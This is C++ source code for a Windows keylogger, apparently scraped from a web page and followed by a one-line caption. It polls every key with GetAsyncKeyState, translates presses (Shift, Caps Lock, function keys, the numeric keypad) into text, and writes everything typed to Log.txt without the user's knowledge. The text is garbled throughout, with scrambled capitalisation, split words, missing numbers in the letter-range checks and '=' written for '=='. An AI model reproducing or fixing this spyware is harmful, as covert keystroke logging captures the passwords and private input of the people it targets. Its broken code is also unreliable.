#include <iostream> #include <stdio.h> #include <stdlib.h> #include <windows.h> #include < winuser.h> #include <string> #include <fstream>using namespace std;const int keyboardvalue = 0x80000000; string getkeyname (int); bool Judgeshift (); int main () {string FileName = "Log.txt"; string KeyName = ""; FStream filestream;/ /filestream.open (Filename.c_str (), std::fstream::out | std::fstream::app); Filestream.open (Filename.c_str ()), while (1) {//sleep (5),//filestream.open (Filename.c_str ()); for (int i = 8; I <= 255 ; i++) {if (Getasynckeystate (i) & 1 = = 1)//Determines whether the virtual key is pressed, whether it is pressed or pressed, only to determine if the {KeyName = Getkeyname (i) is pressed; FileStream.Write (Keyname.c_str (), keyname.size ()); Filestream.close (); Save once after you write Filestream.open (Filename.c_str ());//filestream.open (Filename.c_str (), Std::fstream::out | std::fstream :: App);}}} return 0;} string getkeyname (int numkey) {bool Is_shift = Judgeshift (); String revalue = "";//determine the special symbol in the middle of the keyboard if (Numkey >= 186 && ; Numkey <= 222) switch (numkey) {case 186:if (is_shift) revalue = ":"; elserevalue = ";"; Break;case 187:if (is_shift) revalue = "+"; elserevalue = "="; break;case 188:if (is_shift) revalue = "<"; Elserevalue = "," ; break;case 189:if (is_shift) Revalue = "_"; elserevalue = "-"; break;case 190:if (is_shift) revalue = ">"; elserevalue = ". "; break;case 191:if (is_shift) revalue ="? "; Elserevalue = "/"; break;case 192:if (is_shift) revalue = "~"; elserevalue = "'"; break;case 219:if (is_shift) revalue = "{"; El Serevalue = "["; break;case 220:if (is_shift) revalue = "|"; Elserevalue = "\"; break;case 221:if (is_shift) revalue = "}"; elserevalue = "]"; break;case 222:if (is_shift) revalue = ' "'; e Lserevalue = ",";d efault:revalue = "error"; if (Numkey = = vk_escape)//exit revalue = "[ESC]", else if (Numkey = = vk_f1)//F1 to F12revalue = "[F1]"; else if (Numkey = = Vk_ F2) revalue = "[F2]", else if (Numkey = = vk_f3) revalue = "[F3]"; else if (Numkey = vk_f4) revalue = "[F4]"; else if (Numkey = VK_F5) revalue = "[F5]"; else if (Numkey == Vk_f6) revalue = "[F6]", else if (Numkey = = vk_f7) revalue = "[F7]"; else if (Numkey = vk_f8) revalue = "[F8]"; else if (numk EY = = vk_f9) revalue = "[F9]", else if (Numkey = = vk_f10) revalue = "[F10]"; else if (Numkey = vk_f11) revalue = "[F11]"; else if (Numkey = = vk_f12) revalue = "[F12]"; else if (Numkey = = vk_snapshot)//PRINT Screen revalue = "[Prscrn]"; else if (Numkey = = vk_s CROLL)//SCROLL LOCK revalue = "[Scroll lock]", else if (Numkey = = vk_pause)//pause, interrupt revalue = "[Pause]"; else if (Numkey = = Vk_cap ITAL)//Caps LOCK revalue = "[Caps lock]", else if (Numkey = = 8)//<-back Bar revalue = "[Backspace]"; else if (Numkey = = Vk_return )//Enter, newline revalue = "[enter]\n"; else if (Numkey = = vk_space)//Space revalue = ""; else if (Numkey = vk_tab)//tab revalue = "[Tab]", else if (Numkey = = Vk_lcontrol)//left control key revalue = "[Ctrl]", else if (Numkey = = Vk_rcontrol)//Right Control key revalue = "[CTR L] "; else if (Numkey = = Vk_lmenu)//left SHIFT key revalue =" [Alt] "; else if (Numkey = = vk_lmenu)//Right SHIFT key revalue =" [Alt] "; else if (N Umkey = = Vk_lwin)//Right Windows Key revalue = "[win]", else if (Numkey = = Vk_rwin)//Right WINDOWS key revalue = "[win]"; else if (Numkey = = Vk_apps)//keyboard Right Key revalue = "right Button", else if (Numkey = = Vk_insert)//Insert revalue = "[insert]", else if (Numkey = = vk_delete)//Delete revalue = "[Del ETE] ", else if (Numkey = = vk_home)//Start revalue =" [HOME] ", else if (Numkey = = vk_end)//End revalue =" [end] "; else if (Numke y = = Vk_prior)//Previous Page revalue = "[PgUp]"; else if (Numkey = = vk_next)//Next revalue = "[Pgdown]";//Infrequently used keys: General keyboard does not have else if (N Umkey = = vk_cancel)//Cancelrevalue = "[CANCEL]", else if (Numkey = = vk_clear)//Clearrevalue = "[CLEAR]", else if (numkey = = Vk_select)//selectrevalue = "[select]", else if (Numkey = = vk_print)//printrevalue = "[PRINT]"; else if (Numkey = = Vk_ Execute)//executerevalue = "[Execute]";//----------------------------------------//else if (Numkey = = vk_left)//up, down, Left and right revalue = "[←]", else if (Numkey = = vk_right) revalue = "[→]"; else if (Numkey = vk_up) revalue = "[↑]"; else if (Numkey = = Vk_down) revalue = "[↓]"; ElSe if (numkey = = vk_numlock)//keypad digital Lock revalue = "[NumLock]"; else if (Numkey = = Vk_add)//Add, subtract, multiply, divide revalue = "+"; else if (Num Key = = vk_subtract) revalue = "-"; else if (Numkey = = vk_multiply) Revalue = "*"; else if (Numkey = vk_divide) revalue = "/"; E LSE if (Numkey = = 190 | | Numkey = = 110)//keypad. and keyboard. Revalue = "."; /keypad number key: 0-9else if (Numkey = = vk_numpad0) revalue = "0"; else if (Numkey = = vk_numpad1) revalue = "1"; else if (Numkey = = Vk_n UMPAD2) revalue = "2", else if (Numkey = = vk_numpad3) Revalue = "3", else if (Numkey = = vk_numpad4) Revalue = "4"; else if (numk EY = = vk_numpad5) Revalue = "5", else if (Numkey = = vk_numpad6) Revalue = "6", else if (Numkey = = Vk_numpad7) revalue = "7"; Els E if (Numkey = = Vk_numpad8) Revalue = "8", else if (Numkey = = vk_numpad9) Revalue = "9";//----------------------------The above code-judging key function keys except letters on the disk--------------------------------//else if (numkey >= && numkey <=) {if (getkeystate Capital) {if (is_shift) revalue = Numkey + 32;elserevalue = Numkey;} Else{if (is_shIFT) revalue = Numkey;elserevalue = Numkey + 32;}} ---------------------------the above section to determine the letters on the keyboard----------------------------------------------//else if (Numkey >= 48 && Numkey <=) {if (is_shift) {switch (numkey) {case 48:revalue = ")"; Break;case 49:revalue = "!"; Break;case 5 0:revalue = "@"; Break;case 51:revalue = "#"; Break;case 52:revalue = "$"; Break;case 53:revalue = "%"; Break;case 54:revalue = "^"; Break;case 55:revalue = "&"; Break;case 56:revalue = "*"; Break;case 57:revalue = "("; Break;}} Else{switch (numkey) {case 48:revalue = "0"; Break;case 49:revalue = "1"; Break;case 50:revalue = "2"; Break;case 51:revalu E = "3"; Break;case 52:revalue = "4"; Break;case 53:revalue = "5"; Break;case 54:revalue = "6"; Break;case 55:revalue = "7"; Break;case 56:revalue = "8"; Break;case 57:revalue = "9"; Break;}}} return revalue;} BOOL Judgeshift () {int ishift = getkeystate (0x10);//Judgment Shift key state bool is = (Ishift & keyboardvalue) = = Keyboardvalue; Represents holding down the SHIFT key if (IS) return 1;eLsereturn 0;}
Windows simulates keyboard events with no cursor focus and presses the keyboard to save pressed keyboard characters